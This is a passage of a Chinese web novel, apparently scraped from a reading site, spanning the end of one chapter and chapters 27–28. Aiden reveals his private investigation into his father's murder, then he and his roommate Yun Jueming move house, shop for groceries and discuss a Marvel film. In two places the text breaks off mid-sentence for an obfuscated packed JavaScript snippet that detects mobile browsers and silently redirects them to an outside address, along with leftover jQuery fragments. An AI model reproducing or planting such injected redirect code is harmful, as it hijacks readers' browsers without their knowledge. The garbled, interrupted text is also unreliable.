“有一天,他坐在了一个女孩身边,因为他是断断续续地偷听,没能跟上课堂的进度。所以他问那个女孩借笔记来看,两个人就这么搭上了话。 “据我爸爸说,他当时见到我妈妈的第一面,就爱上了她——往后他一节不拉地跑去听课,哪怕旷自己真正要上的课也在所不惜,就是为了能接近我妈妈,能跟她搭话。最好笑的是,等到期末考试那一天,我妈妈左等右等,都没有等来我爸爸,看了教授的点名表,才明白他根本不是P大的学生。 “然而,那时又没有手机,他们也没有留座机电话,她根本不知道该怎么联系上他,也不知道以后是否还能见到他,一边考试一边心急如焚地想这件事——当然,我不确定这是不是我爸爸牵强附会,后来加上的。总之,她考完试,走出教室的时候,眼睛都已经哭肿了,结果一抬头,就瞧见我爸爸站在外面等她。” 艾登的笑容突然滞了一瞬。 他愿意付出一切代价,愿意变成一颗永远在虚空中飞翔的灰尘,或是一只浑浑噩噩地在叶子底下过完一生的蜉蝣,愿意追随但丁历经炼狱与地狱的种种苦难,只要时钟能拨回照片上的这一刹那——不是父亲被杀死的前一天,也不是前一个月,甚至不是前一年,而是这个非常准确的时刻。这么想是没有道理的,但艾登总有一种隐隐约约的感觉,似乎只要没有他,没有艾莉,他们的父亲就能一直活下去,永远是那个在婚礼上幸福大笑的男人,就像《蝴蝶效应》里的伊万,发现一切不幸的根源就在于自己,要终止只有自杀一途。 他知道这是深重的负罪感,这是思念遗留在记忆中的残骸,这是试图让生活回到正轨后的精疲力尽,这是伤痛长存导致的不理智,但没有任何办法能够中止这种想法。在冬天消隐无踪的星星还会在夏日重新出现,光秃秃的枝条会不可思议地落成遮天蔽日的树冠,每隔七十多年,哈雷彗星都会回来一趟,但父亲永远不会。 “真的很浪漫。”云决明评价道,但不知怎么地,他的脸色有点古怪。 “我还有些别的东西要给你看,”艾登合上了相册,用丝绸小心包好,放在一边,“跟我来。” 他推开箱子,清理出一条小路,终点是云决明几个月前无意闯入的房间。爷爷,奶奶,还有妈妈都以为那不过是个普通的储藏室,他们很尊重孩子们的隐私,因此即便来了地下室也不会想要进去看看。只有他,可能还有艾莉知道那房间里有什么,如今,云决明也要知道了。 门锁是指纹锁,“滴”一声就打开了。 艾登推开门,但他退后了一步,好让云决明能先走进去。 房间并不小,但艾登往里面装了太多东西——从警察局搬回来的一箱箱复印件,全都被他一一整理放入档案柜,里面装着从1960年开始,所有发生在约州的凶杀案资料,无论侦破与否。光这一样,就占据了房间的半壁江山。 进门后是一张巨大的书桌,艾登主要用来搜索新闻,以及存储电子版的资料——比如利用杰森爸爸的关系才从图书馆拿到,自1960年起所有在约州发行的报纸资料,另一头堆满了与犯罪心理有关的书籍和论文。右边的那面墙壁面积最宽敞,因此艾登拿来悬挂了一张放大十万倍的约州高清地图,详细到每个县下属的每一条街道,每一栋建筑都标明在列,上面做满了密密麻麻的复杂记号。 书桌前的墙壁上,则贴满了所有他认为有可能是同一桩案件的受害人,上百条丝线把所有他们之间有关联的证据全都串联在一起——这一项工作耗费了他两年的时间,要从千百件凶杀案中抽丝剥茧出几百个也许彼此间有联系的被害人,不是一件容易的事情。 书桌上还放着一个相框,里面放着一张父亲去世那天报纸上刊登的报告,艾登时常以此来提醒自己——千万不要轻易相信表面的假象,即便是训练有素,经验十足的警察和检察官,一旦踏入这个误区,也会做出错误的判断。 他打算给云决明几分钟的时间来消化看到的东西,然而,只是匆匆扫了一眼房间,云决明就立刻转过身来,“你认为你父亲的死是连环杀人案中的一环?”他惊讶地问道。 “没错。”艾登点点头,“四年来,我一直在努力证明这一点。” “是什么让你这么想?”云决明不解,“我以为你父亲的谋杀案已经结案了,警察第二天就逮捕了犯人,不是吗?” “我父亲的下属,没错。” “你的意思是,警察抓错人了?” “他当时没有不在场证明,前一天又被我的父亲给辞退了,警察凭借这两点就把他给抓了起来,”艾登疲倦地靠着门框,每次想起那个被关在监狱中的可怜人,想起他孤苦无依的妻儿,他就觉得自己仿佛一失足掉进了虚空,像个溺水的人般无法呼吸,愧疚与痛苦填满了每一寸空间,没有留下一点空隙给氧气,“尽管他根本说不出凶器是什么,警察也从来没能找到凶器,他对作案地点和作案手法的描述错漏百出,一看就知道是被警察关上好几天以后不得已之下‘招供’的。但他很穷,他家请不起好律师,县政府给他指派的律师毫无经验,而我的爷爷……当时我们全家人都处于痛苦之中,我们只想要安宁,一种事情结束后的安宁,所以他动用金钱和关系找来了一位经验十足的检察官,而她成功说服了陪审团相信那个人是有罪的。” “是什么引起了你的怀疑?” 好似明白就这么直接说出一切对自己来说是有难度的,云决明柔声问道,很少见他主动对某件事主动发问。 “高一的暑假,杰森的爸爸安排我和他去FBI实习。”艾登凄然一笑,“也许是冥冥中自有天意,我选择了去行为分析小组第二部门—— 也就是专门为犯罪数据库中收集到的连环杀人案提供意见和帮助的那个部门,那儿共有八名探员,大都是具有心理学学位背景,并且有多年刑侦经验的警察提拔而成。他们教了我很多,从他们的话里,我意识到了当年那个案件判定的有多么草率。从维吉尼亚州一回来,我就立刻去了监狱,要求会见肯尼——就是杀死我父亲的凶手。” “那次会面怎么样?” “比我想象中要好。”恍惚间,穿着橙黄色囚衣的肯尼似乎又出现在眼前,他的绝望非常平静,为人彬彬有礼,话不太多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041203|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只在艾登迟疑着说出“我觉得你是无辜的”刹那失声痛哭,几近精神崩溃。在被狱警带走以前,他抢到话筒边,说了一句“谢谢。” 他的妻子也坚信肯尼是无辜的,她向艾登展示了每一封他从监狱里寄来的信——上面满满都是他对妻儿的思念,絮叨着他已经戒酒了,也定期参加监狱为犯人提供的心理疏导,他现在已经知道自己以前一喝酒就喜欢打人的根源在哪,他会努力改正。如果有哪一天他能出狱——实际上那是不可能的事情——他一定要带着自己的妻儿去海滩度假,这是他们一直心心念念却又没能做到的事。 他细细看了每个字,如果肯尼不是一个冷酷无情,演技超群的反社会人格杀人犯,那么这些充满爱意与悔恨的句子绝无可能出自一个有罪的人。 “第二年,我和杰森又去了一次FBI的夏季实习,这一次我把我收集到的证据都带了过去,第二部门的探员们都认可我的看法,也觉得肯尼是无辜的,但是要推翻一个已经定罪了的案件很难——‘虽说给肯尼定罪的证据并不充分,但也比证明他无罪的证据要多’,那些探员是这么告诉我的。 “也就是那一次,其中一个探员指出了我父亲的案件很有可能是连环杀人犯所为——‘这家伙绝对不是第一次杀人了’,他看见尸体照片就脱口而出,‘你看这刀伤,没有一刀是犹豫的,每一刀都刺得又深又有力,正常人,无论怀有多大的仇恨,第一次杀人都不可能这么干净利落,尤其你的父亲看起来很强壮,如果不用最迅速有效的办法让他一下子失血并陷入疼痛,是没有办法全身而退的。这个凶手,无论是谁,在这方面的经验都非常充足。’ “也就是从那时起,我开始了漫长的调查。约州不是一个出连环杀手的地方,这么多年了也就一个,理查德·怀尔德,而他甚至不能算得上是一个连环杀人犯,只能说是犯下了多起凶杀案的杀人犯,这儿的警察对这类案件毫无经验——这就是为什么他们根本没有意识到我父亲的伤口不可能是由一个冲动杀人的凶手犯下的。即便的确有个连环杀人犯潜伏在约州,他也非常完美地掩盖了自己的踪迹,从没被人发现过。” “这就是为什么你选择了犯罪司法学专业。”云决明恍然大悟。 艾登点了点头。 “这么多年,我的家人自以为得到的安宁,实际上是建立在另一个无辜之人的自由上,我们撕下别人身上的血肉来填补自己的伤口,我们用本该属于别人的岁月来平淡哀恸,与此同时,真正双手染满血腥的凶手却逍遥法外,毫发无伤,这不是我想要看到的结果。我发誓要还肯尼清白,我发誓要把真相昭告天下——即便我这一生只能做到这么一件事,那也比肯尼用他的一生来偿还他不曾犯下的罪过要好。” 即便是谈起父亲的时候,他的口吻也不曾这么沉重。 也许因为父亲已经过世,肯尼却还活着,云决明说得对,恨意总要由活着的人承担,愧疚与追悔也同样。 只是,这个负担太重,重得他一拖再拖,直到无可拖延,再等下去,云决明就会在新家的书房里瞧见眼前的这一幕,才将这一切分享给云决明——分享能让他从这个只属于自己的秘密中解脱出来,却意味着云决明也必须一同分担。他不会袖手旁观,他定然会鼎力相助,艾登确信这一点。也许就是因为他确信这一点,他才始终迟疑着,无法开口。 “我们来打包吧。” 艾登只走神了两秒,一眨眼,云决明就已经拿着纸板,站在门口招呼他。 “这儿你才真的需要我的帮助呢,”他仰头望着那些照片,双手已经开始对折纸板印痕。有两绺碎发拂落,陷进他漆黑的眼里。艾登下意识地想要伸手替他掖回去,走了一半又突然拐弯,生硬地抓起胶带,递了过去。“这么多东西,都按照你那种胡乱打包法,非得都弄乱不可。” 他扭过头,眼角有淡淡笑意,就藏在发梢,仿佛是在说——“有我呢”。 “是的,我叫你来就是为了这一点。” 艾登会以一笑,也伸手拿起了纸板。 我有你呢,Ming。 27. Chapter·Five 云决明很惊讶地发现,艾登从来没去过华人超市。 经过两天的兵荒马乱,他们终于搬进了新公寓——兵荒马乱这个词,是专门用来形容艾登搬进来时的混乱情形的,云决明自己提着两个行李袋,往房间里一放,就算完事了,但艾登不同。 云决明一直不清楚他到底买了多少家具,到搬家那天才算见识了。一辆接一辆的大货车嘟嘟响着喇叭开进来,装着一整套布艺沙发,细木纹的茶几,配套六把餐椅的大餐桌,两张国王尺寸的大床,以及同系列的卧室家具(包括两个有古铜色把手的床头柜;一个高脚的六斗柜,柜脚被做成了鸟爪的形状,很迷人;一个长条的,可以当做电视柜来用的古典抽屉柜,还有一张大书桌和完全符合人体工学的柔软转椅),四台索尼六十寸的大电视(云决明不理解为何书房也要放一台),家庭影院音响,全新的游戏机及一大箱游戏碟,(“没必要把原来的从家里搬走”,艾登向他解释,“这样我回家的时候也能继续玩。”),一盏又一盏的落地灯——后面还来了几辆车,但云决明已经懒得去细数那上面究竟有什么了,尤其是他见到一队墨西哥人从小面包车上跳下来,拿着工具,叽里呱啦着西班牙语,要去帮艾登改造他的步入式衣柜,让它更符合他的收纳要求以后。 “我所有的积蓄基本都为这次搬家花光了,”站在路边的艾登喜滋滋地说道,仿佛这是一件十分值得高兴的事情。他甚至让租户中心专门为他做了几个牌子,上面用英语和西班牙语写着“维尔兰德先生及云先生的家请往这边走”,免得卡车司机迷路,远看着实在很像某种同性恋婚姻宣告,“还好接下来的几个月没什么需要花钱的地方,我只要专注在橄榄球的夏令营训练上就行了。” 这话话音刚落,他就向云决明提议,搬家公司的人走了以后,他们应该出去吃一顿大餐。 “藏红花餐厅怎么样?”他兴致勃勃地说道,“我太想念那儿的菜肴了,这顿饭算我请客。” “你是说那个人均两百美金消费的餐厅吗?”云决明面无表情地瞧着他,“还是算了。” “算了?”艾登嘴角一撇,看着委屈得不行。 “你不是把积蓄都花光了吗?”云决明有些无奈,“我知道你每个月都有信托基金的收入——但是你要负担这间公寓的房租,每个月还要给肯尼的家人寄去五千美金,”他帮艾登收拾时看到了一封拆开的银行来信,才知道四年来艾登每个月都雷打不动地会寄去这么多钱,逢年过节还会寄更多,也会给肯尼的妻儿买圣诞礼物,“祝阿姨不是说了,等你一搬出去,家里就不会继续给你支付学费,你也从家庭保险计划中脱离了。有这么多开销,你还不省着一点,就算每个月有两万美金的进账,也禁不住你这么花。” “你的意思是说,我们该随便找家披萨店?”艾登嘴角撇得更厉害了,“但我马上就要开始训练了,不能老是吃那些垃圾食品。” “不,”云决明更无奈了,“我的意思是,我们得自己去买菜,学着做饭——这才是最省钱的方式。” 也就是在那时,云决明才发现,原来艾登从来没去过华人超市。 “你从没想过要来?” 把车在大华超市门前的停车场停好,云决明还是觉得有点不可思议。不知道为什么,他脑子里不停地出现艾登和他奶奶一起逛超市的情形——艾登推着购物车,对货架上的蔬菜指指点点,说自己什么都想吃,而奶奶则一一细数着接下来一周要做什么美食。艾登很容易就给人以这种温馨家庭的想象。 “想过,但是奶奶喜欢上午一大早就去买菜,而且不喜欢赶在周末,和那些从养老院出来放风的老人家们挤在一块,因此我根本没有机会和她一起去。”艾登为自己辩解着。云决明注意到有几个正在往车上装购物袋的中国女生突然停住了手中的动作,一边回头往他们这边看,一边激动地跟彼此窃窃私语,“不过,既然有机会,我还想试试做几个奶奶平时经常做的菜呢。” “你知道菜谱?”云决明有点怀疑。 “我搬走以前,奶奶特意把不少菜要用到的材料和做法都写给了我,她说你看上去像个喜欢做饭的,也许会需要。”艾登说着,一边顺手在门口拉了一辆购物车,“是优惠券!”一扭头,他眼尖地瞧见了超市门口叠放的促销册,几步便抢上去拿了一本,兴奋地翻看着,“Ming,快看快看,今天青椒有特价,只要0.99一磅!” 云决明哭笑不得地看着他,“我不会做饭,艾登。” “可你说……”艾登抬起头看他,愣住了。从他的眼神看,他怕是把自己代入了某种刻板印象里——比如说“老友记”里的莫妮卡,只是因为他喜欢打扫卫生,他也该懂得怎么做出一手大餐,“你说我们得出来买菜的时候,我以为你暗藏的意思就是你知道怎么做饭。” “我很确定我说了‘学着做饭’,这几个字。”云决明挑了挑眉毛。 “那也没关系,”艾登一秒钟就从这个消息的打击——假设有的话——中恢复了,笑了起来,“我来学做饭就好——其实我一直都对烹饪很有兴趣,只是奶奶老嫌弃我笨手笨脚,不如她做事利索迅速,才不给我待在厨房。” “如果你喜欢的话。”云决明无所谓地应了一句,不管艾登作为一个新手,烧的饭有多么难吃,都不可能比他自己母亲做的更糟糕。这么说来,他可能是这个世界上对厨房新手最宽容的食客了。 “你怎么也没学着做饭呢?” 推着车走进超市时,艾登问道。 “没时间。”云决明简单地回答道,但这只是一部分原因,他知道给自己做饭是母亲为数不多的表达关心的手段,因此即便味道不好他也不曾抱怨,也没有试图把这份补偿从母亲手上夺走。 “没关系,我也不需要你做什么,也许吃完饭收拾一下厨房——我所有买的锅具都能用洗碗机洗,这部分倒是不用你操心。”他推着车子走到蔬菜区,拿起了一个番茄,专注地打量着它,手指把它上上下下地转着,“这个西红柿看起来怎么样?”他问道,“你会挑蔬菜吗?” “不会”母亲对蔬菜的品质并不挑剔,所以每次云决明都是看到哪个拿哪个,只要表皮没坏就算好。他直觉这个标准是不会让艾登满意的,干脆地否认了。 “让我打个电话给奶奶,”艾登倒是没气馁,拿出了手机,云决明顺势接过了购物车,油米酱醋的货架就在蔬菜区旁边,虽说蔬菜他不会挑,调味料总归不会出错,等他装了一车的盐,胡椒,鸡精,酱油,陈醋,麻油这些瓶瓶罐罐捞回来的时候,艾登手上已经攒了好几个袋子了。 “嗯嗯……要挑表皮光滑的……嗯嗯,颜色不能太深……好……个头呢?噢,个头无所谓啊。哎呀,我又不会做饭,那当然会问很多蠢问题啦。好啦好啦,那蘑菇怎么挑呢?啊,你说什么蘑菇?我不知道啊,你平时做锅仔烧汁蘑菇用的是什么蘑菇啊?” 云决明推着车,缓缓跟在后面,一样一样地把袋子从艾登手上接下来,听着他和奶奶的对话,忍不住微笑起来。 他们就这么慢悠悠地在蔬菜区转了快四十分钟,艾登事无巨细地向奶奶打听着他看见的每一样蔬菜,从怎么挑选到能用来做什么菜,从味道什么样再问到什么部位可以吃什么部位得扔掉,也亏得奶奶有耐心,一样一样不厌其烦地跟他解释。等问得差不多了,艾登一转身,又瞧见了海鲜区的牌子,兴冲冲地奔了过去,扒在鱼缸前,问他的奶奶哪种鱼清蒸比较美味。 好不容易等他终于问够了——又或者是奶奶要去忙别的事了,挂了电话,云决明才有机会提醒他,“买接下来一个星期要吃的菜就行了,”他说道,“大华超市离家不远,随时都能过来买,没必要一次性买太多,过几天就不新鲜了。” 才刚刚搬进公寓不到三个小时,但他却已经能自然地称呼那儿为家了,仿佛原本就该如此。 “这就是我们接下来几天要吃的菜啊,”艾登偏头看着他,“我已经计算好了。” 云决明看着都快堆满购物车的蔬菜,肉,还有鸡蛋,一时之间不知道该说什么。他知道艾登的饭量很大,但也不至于“大”到这种程度。 “你想什么呢,这是我们两个人的份。”好似看穿了他的心思,艾登拍了拍他的肩膀,“你真的得多吃一点,Ming,你瘦成这样,我觉得我都能把你当力量训练的杠铃来用了。” “哪有那么夸张。” “你不信?我现在单手就能把你举起来。”艾登促狭地冲他一笑,作势要用手去搂他,这条过道没有别的顾客,云决明却觉得千万只蚂蚁好似一下子被放了出来,从心底一路爬上耳朵尖,所到之处滚烫而且赤红。他慌忙地推开了艾登,连连后退几步,“我相信,我相信。”他喘着气说道,在千钧一发之际给自己找到了一个合理的借口,“我很怕痒,别弄我。” “那你晚饭得吃两碗饭。”艾登得寸进尺,得意地笑着。 “那取决于你第一次下厨的水准如何。”云决明虽说不挑剔食物,但没人能津津有味地吃完两大碗寡淡无味的饭菜,哪怕是看在艾登那张脸的份上。 “好!就这么说定了。”艾登作势撸了撸袖子,“那我们赶紧回去——厨房都还没收拾呢,我想留点时间试错,万一我不小心把菜烧糊了,还能再做一遍。不过,在走之前……” 他推着购物车,大步迈得飞快,云决明虽说也不矮,但也要拼命迈动双腿才能赶上去。现在才下午一点,他在心里嘀咕着,距离吃晚饭还有五六个小时呢,艾登这么急,是打算试多少次错? 艾登突然一拐,云决明赶忙跟了上去,这才发现他们来到了速冻食品柜前。艾登拉开玻璃门,一股脑地把什么灌汤包,肉馅包,湾仔码头水饺,还有福建小馄饨都扔了好几包在购物车里,“好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041204|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”他愉快地宣布着,“我们可以去买单了。” 云决明不怎么打听别人的事,这一次却有一点按捺不住好奇心。 “我一直想问你,艾登……” “嗯?” “你的奶奶做饭那么好吃,为什么你还会喜欢吃这些速冻食品?”这个问题已经困扰他一段时间了。 艾登停住了脚步,转身倚着购物车,望着云决明淡淡一笑。 “我知道,这很奇怪。” “如果你不想说——” “没什么不能说的,其实我知道这些速冻食品的味道不怎么地,跟奶奶亲手做的根本没法比,但是——” 他深吸了一口气,手指抹去了凝固在水饺字样上的一滴水珠。这个过道上还有不少顾客,因此他把车推到了一个更偏远的角落,看上去,就像云决明和他正在商量要买什么样的奶油——淡奶油,厚奶油,还是打发奶油。中国人做菜很少会用到这些,所以这儿根本没人。 尽管如此,艾登还是把声音压低到了只有云决明能听见的音量。 “我的父亲从前很喜欢看体育赛事,有时候甚至会因此而熬夜,我偶尔也跟着他一起看。我们的喜好很相似,支持的队伍也一样——当然了,我不确定那是不是因为我父亲只会在我面前提起他支持的那些队伍的缘故。但有个人能跟自己一起欢呼,总归是不错的。 “我年纪还很小,妈妈自然是不允许我那么晚不睡的,因此父亲会在半夜偷偷溜进我的房间,把我抱到客厅。当时我还在长身体,饿得很快,看了没一会就会吵着要吃东西。 “看球赛看到一半要给孩子弄东西吃总是不爽的,况且我那时候是不可能被面包或零食一类打发的,对我来说,饿了要吃的东西里一定要有肉,只有肉才能让我有饱腹感。但我太小,不能吃多诸如香肠,培根,披萨这一类口味太重的食物,于是父亲就想了个办法,在叫醒我以前,他会蒸一笼速冻饺子,灌汤包,或者是包子,这些东西又好弄,口味也清淡,分量也好掌控,也不会被奶奶和妈妈发现他半夜把我叫起来看比赛还给我做了宵夜。 “非要说的话,这更像是一个习惯吧。妈妈,奶奶还有爷爷至今都不知道这个秘密,你可要帮我保守好了。” “艾莉知道?”云决明敏锐地发觉有个人没有提及。 “她知道,”艾登咧嘴一笑,“因为她也被父亲抱起来看过,还曾经把灌汤包弄到了衣服上,父亲只好谎称她的睡衣换了是因为尿床了,那一次好险,差一点就被妈妈发现了。” 云决明突然发觉,艾登在提到他的爸爸时,永远是以“父亲”称呼他,与提到妈妈时不同。 “不说这些了。对了,我突然记起来,吃完饭,要不要一起去看电影?” “电影?”自从来到美国以后,云决明从来没有去看过电影——很大一部分原因是因为美国的电影没有字幕,他从前根本听不懂,因此宁愿下国内的盗版资源看。等到他能无障碍地听懂电影对话的时候,他又已经对任何一切娱乐丧失了兴趣。 “复仇者联盟2,最近上映的。”艾登眉飞色舞地说着,推着车往收银处走去,“我老早就想看那部电影了,但是之前又要复习,又要考试,又要搬家,一直都没有时间。我身边所有的朋友都看过了,我都不敢跟他们说话,生怕他们会剧透我。” “我对这类电影不感兴趣。”云决明摇了摇头,“你找别人看吧。” “你看过哪怕一部漫威的电影吗?”艾登好笑地问道。 “没有。” “没有?”他的声音立刻高了一点,“那你怎么能说你根本对复仇者联盟一点都不感兴趣呢?这样好了,我有全套漫威至今出的所有电影的蓝光珍藏碟,今晚回去,吃晚饭,第一件事就是连着把《钢铁侠》《美国队长》还有《雷神》给看完。相信我,你绝对会喜欢的——看的时候,我还可以蒸一笼灌汤包来吃呢。” 为了他说的最后一句话,云决明也感到自己没法拒绝他。 “那好吧。” “既然这样,这一次购物就算我请客。你都答应陪我看电影了,不能让你再出钱。” “艾登,这两者之间没有必然的逻辑关系。” “哎呀,你就当它们有嘛。” “我们平分,不然你还是现在就发短信问问谁晚上有空陪你去看复仇者联盟吧。” “真拿你没办法,那你今晚要多吃一碗饭。” “别得寸进尺,艾登。” “好吧好吧,”艾登撇着嘴,不情不愿地把两张银行卡递给了收银员,“一张刷一半。”他叮嘱道。 云决明则弯着腰把购物车里的东西一样一样地拿出来,刹那间,他突然感到某种针刺一般的目光向他射来,令人芒刺在背,极不舒服。 他猛地抬起头来,回过身去。 但他身后什么人都没有。 28. Chapter·Six “请给我一份无糖,无麸质,无脂肪的豆奶冰激凌,以及……” 艾登扭头看了一眼云决明默默指出的几张图片。 “……一份软心熔岩双倍比利时巧克力香草奶油冰激凌。” “放这么多东西,雪糕会变得很甜的。”收银员是个美国人,就连她也忍不住小声提醒了一句。“没关系,”艾登冲她眨了眨眼,那个穿着冰激凌装束的女孩脸瞬间就红了,“他就特别好甜的这一口。” 他付完钱的时候,云决明已经找了一张最靠里的桌子坐下了。 “刚才在电影院里你一个劲地说自己好冷,结果出来了又想吃冰激凌,真怕你会感冒。” 艾登作势抱怨着,伸手握了握云决明摊在桌上的手。他本意是想知道对方暖和了没有——适才刚从放映厅走出来的时候,他无意中碰到了云决明的手指,差点没冻得一哆嗦。然而,可能是没料到他会这么做,云决明吓得猛一抽手,差点从椅子上摔下去。 艾登突然觉得这一幕有点眼熟,似乎之前也发生过一次。 要是云决明这么讨厌肢体接触的话,他心想,当时在杰森的派对上,他是怎么做到那么淡定的? 这么一想,他突然又对自己的吻技有了一点信心。 “放松点,Ming,我只是想看看你还冷不冷。” “别担心我。”云决明撇开脸,应了一声,他的耳朵都成了淡淡的粉红色,配合他苍白的脸色,看着倒是挺可爱的,让人有想要捏一捏的冲动。柜台后,冰激凌小姐还在忙着给云决明做他的那份冰激凌,没注意到这边的动静。 现在是下午一点,又是工作日,商场里的顾客很少,这家冰激凌店里更是空无一人。艾登觉得这样也挺好的,不然两个大男人面对面地坐在甜品店里,这情形不管怎么说,还是有点暧昧的。要是被他的橄榄球队员们发现了,艾登可以想见这会在更衣室掀起怎样的腥风血雨,运动界对Gay一点都不友好。杰森曾经扬言,要是队里有谁是同性恋,不管那个人的成绩有多好,不管队伍有多么离不开那个人,他照样会给教练和学校施压,要求他们把那个人踢出去。 一想到当时杰森嚣张的语气,艾登突然觉得兴致索然。 幸好,这时候冰激凌端了上来。云决明的那一碗堆得满满的,深棕色的比利时巧克力与柔白的香草冰激凌相互缠绕,完美在碗中堆成一座小山,额外加入了奶油的雪糕在灯光下反射出一种如丝绸般的滑光,其中藏着一个个迷你熔岩蛋糕,只要一勺子下去,就能瞧见其中的巧克力酱潺潺流出,恍若是从山脉中悄然喷发的岩浆。 一旁,艾登点的冰激凌相比之下简直像个简陋的雪球,迸裂出干巴巴的纹路,没有沁人心脾的巧克力甜香,也没有诱人的光泽,一勺子下去,艾登感到自己仿佛在吃冰冻的豆奶——实际上,比那还不如,因为他嘴里一点甜味都没有,只能在冰冷之余尝到一点奶味。 “想吃一口我的吗?”云决明刚拿起勺子,见状问道。 “不必了,但我倒是可以拍拍照,让我的教练看看我为了新赛季都牺牲了什么。”艾登说着,拿出了手机,几分钟之后,他的Instagram账户上就出现了一张新照片,配字是“看得见,吃不着[哭泣脸][哭泣脸][哭泣脸]”。 刚发出去,就有人问这是在哪点的,看着很好吃。艾登便顺手回复了地点和云决明的配方。等他视线从手机上抬起来的时候,冰激凌山的上半部分已经没了,云决明正试图用盛满雪糕的勺子去舀起一个迷你熔岩蛋糕,想要一口吃尽所有美味。 “别急,吃的太猛,小心脑袋被冰痛。”他好笑地说着,看着云决明那因为吃到甜食而满足的神情,似乎所有低落的情绪都能因此一扫而空,“你觉得电影怎么样?” 艾登本来打算昨晚给云决明好好补上漫威电影的课的。 然而,艾登刚套上围裙,准备在厨房第一次大展身手的时候,他突然接到了奶奶的电话。 “乖仔,新家收拾得怎么样啦?我们晚上可以把洛克希带过来吗?” “我们?”他招手让云决明过来替他系上带子,好奇地问道。 “还有你爷爷,你妈妈,和你妹妹啦。这样,要不要让奶奶现在过来,给你和明仔做一顿大餐呀?这样,你也可以在新家招待你妈妈他们。” 艾登一听,就知道奶奶肯定是担心自己搬家辛苦了,又是第一次下厨,怕他做不好饭,两个男人忙了一天最后还是不得不吃外卖,这才提议要过来的。 “不用担心啦,奶奶。”他忍不住笑了起来,“我可以自己下厨的——当然,要是我做出来味道不怎么样,你们还是吃完饭再把洛克希送过来吧。” “哎哟,我哪里担心你了啦,”奶奶嗔怪起来,“你那个铁胃,吃什么都不怕的。我是担心明仔,等下你没煮好,人家到新家第一天就要去医院急诊了,多晦气啊。还亏得我给你们挑了个好日子搬家呢。” 在这一点上,艾登也觉得有点哭笑不得。本来他们一考完试就要搬走的,奶奶硬是不给,她看了黄历,又咨询了唐人街的算命先生,最后择定了两个连在一起,刚好适合搬家的良辰吉日——这是由于艾登买的家具实在太多了,阿什利的员工无论如也没法在一天之内就全部送完。 “奶奶你不放心,可以过来指导我呀。”艾登笑嘻嘻地说道。 半个小时后,奶奶真的来了。那时艾登和云决明已经一起洗好了所有的菜,她按门铃的时候,艾登正在切蘑菇——由于买的刀太利,艾登总觉得云决明会切到自己,便揽下了切菜的活,只让他在一旁摘菜心。 奶奶检查了他们两个的成果,还是挺满意的。 “平时觉得你笨手笨脚的,想不到切菜还能切得这么均匀。”奶奶拿起了一片蘑菇,边打量着,边评价道。 “艾登遗传了您的做菜天赋。”云决明插了一句嘴。他这句话哄得奶奶高兴得不行,甚至都不让他摘菜了。“你们今天才正式搬进来,肯定已经很累了,赶紧去休息一会,”她把云决明从厨房推出去时,这么说道,“做饭让艾登来就好了。” “奶奶!” “哎哟,我还不知道你嘛,”奶奶用葱轻轻地敲了敲他的头,“到时候你肯定会把所有要打扫卫生的活都推给明仔干,你这是找了个室友,还是找了个保洁工啊?做点饭,哪有给房间吸尘辛苦?” 艾登回头一看,果然,云决明正从走廊衣橱里把吸尘器拿出来呢。 等爷爷,妈妈,还有艾莉带着洛克希来到新家时,艾登已经在奶奶的指挥下做好了一锅玉米萝卜排骨清汤,一锅咸鱼茄瓜煲,一锅香菇焖鸡,一尾清蒸鲈鱼,一碟油淋菜心,一碟避风塘炒蟹。也许云决明真的说对了,他在做饭这件事上遗传了奶奶的天赋,艾登觉得做饭简单极了,而且他对一道菜该放多少调料有着精准的直觉,奶奶一开始还不放心,生怕他把菜做咸了,尝了以后又对他的盐味把控赞不绝口,就连坐上餐桌以后也不停嘴地夸,语气颇为自豪。 只是,艾登注意到艾莉全程都没有与云决明说一句话。 等家里人都走了以后,忙完收拾厨房和洗碗的活,已经十点多了,艾登和云决明都累了,谁都不想熬夜看电影,因此今天早上云决明走进电影院的时候,他知道只有艾登在早餐和路上期间给他恶补的一点超级英雄知识。 “我没看过这种类型的电影,”云决明有点儿犹豫,“特效和战斗都拍得挺爽的——但我感觉,导演似乎有意用这种爽感来遮掩故事的薄弱……” “我也是这么想的,”艾登激动地压低了声音,“但我身边的朋友都一致叫好这部电影,我看的时候还在苦恼我可能根本找不到人倾诉我的想法。电影是好电影,看得也很过瘾,但还是有点比不上第一部,尤其是反派——” “奥创有能够侵入并且藏身在网络上的能力,光这一点来说,他能干的事情太多了,根本就不需要一具完美的躯体,有了还会被复仇者们暴打。他如果真的想要毁灭人类的话,通过网络就能做到这件事。根本不需要附身在一个残缺不全的机器人身上——不过,我大概能明白导演的想法,堂堂一个反派通过电脑音箱用合成声音说话,肯定没有一个破破烂烂,眼放蓝光的残废机器人来得震撼帅气。” 艾登忍不住大笑起来,云决明一本正经,面无表情地吐槽电影的模样,实在是太有意思了。 “就不说故事了,其实加入的新角色我觉得也有点着急——也许导演剪辑版能把这一点圆回来,但老实说,快银和猩红女巫叛变得实在太快了,我一度还以为他们两个其实是双面间谍,目的是混入复仇者联盟然后跟奥创一起里应外合呢。不过,这么一想,快银可能做不来这件事。” “为什么?”云决明好奇地问道,他的冰激凌快见底了。 “速度太慢,一旦被发现了,可能跑不掉。” 这个冷笑话把云决明给逗乐了。 